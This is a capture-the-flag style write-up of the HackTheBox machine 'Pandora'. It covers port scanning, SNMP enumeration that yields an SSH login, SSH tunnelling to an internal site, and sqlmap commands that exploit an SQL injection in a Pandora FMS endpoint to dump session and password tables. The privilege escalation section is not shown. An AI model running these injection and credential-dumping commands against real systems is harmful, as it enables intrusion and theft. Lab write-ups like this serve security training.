Pandora 10.10.11.136

Background

Pandora is a Linux base machine from HackTheBox that required your patient on web searching technique with some encoding concepts and Python Hacking skill is required on the privilege escalation.

Target Machine: 10.10.11.136

Attacker Machine: 10.10.14.4

Hacking Process Part 0 – Service Scanning

Nmap

1) nmap -p- -T5 --min-rate=1000 10.10.11.136 -oG fkclai.nmap 2) nmap -p $(grep -Eo '[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.11.136 -o nmap-result.txt

Enumeration Strategies

No vulnerability was found on the SSH and HTTP service, it was going to review the web application to check any information leakage or misconfiguration.

Hacking Process Part 1 – Enumeration

With basic web enumeration using gobuster, a set of web pages was found and the following one was interesting with submission function. However, it does not find any interesting stuff

dirb http://pandora.htb/ /usr/share/wordlists/dirb/common.txt -o dirb-pandora.result

Checking the opening port one by one

SNMP Port 161

Get a username danieland password HotelBabylon23, try the SSH connection with this account

Hacking Process Part 2 – Gaining Foothold

Get the Initial access using the credential found at the SNMP connection string

Unfortunately, the account cannot access the user.txt

After reviewing the network, it found that there should be a website hosted internally, but it cannot be accessed outside.

Try to use SSH tunnelling to redirect the page outside

ssh -L 81:127.0.0.1:80 daniel@pandora.htb
The credential found before cannot login this website

A CVE-2020-5844 was found on this v7.0NG.742_FIX_PERL2020, SQL injection vulnariblity was found. Using SQLMap to check the

sqlmap -u "http://127.0.0.1:81/pandora_console/include/chart_generator.php?session_id=1" --batch --dbms=mysql -D pandora -T tsessions_php -C id_session,data --dump

It was found that the name of Database: pandora, table tsessions_php, and related field identified. Changed the command and executed it again

sqlmap -u "http://127.0.0.1:81/pandora_console/include/chart_generator.php?session_id=1" --batch --dbms=mysql -D pandora -T tpassword_history -C id_pass,id_user,data_end,password,data_begin --dump

Hacking Process Part 3 – Privilege Escalation

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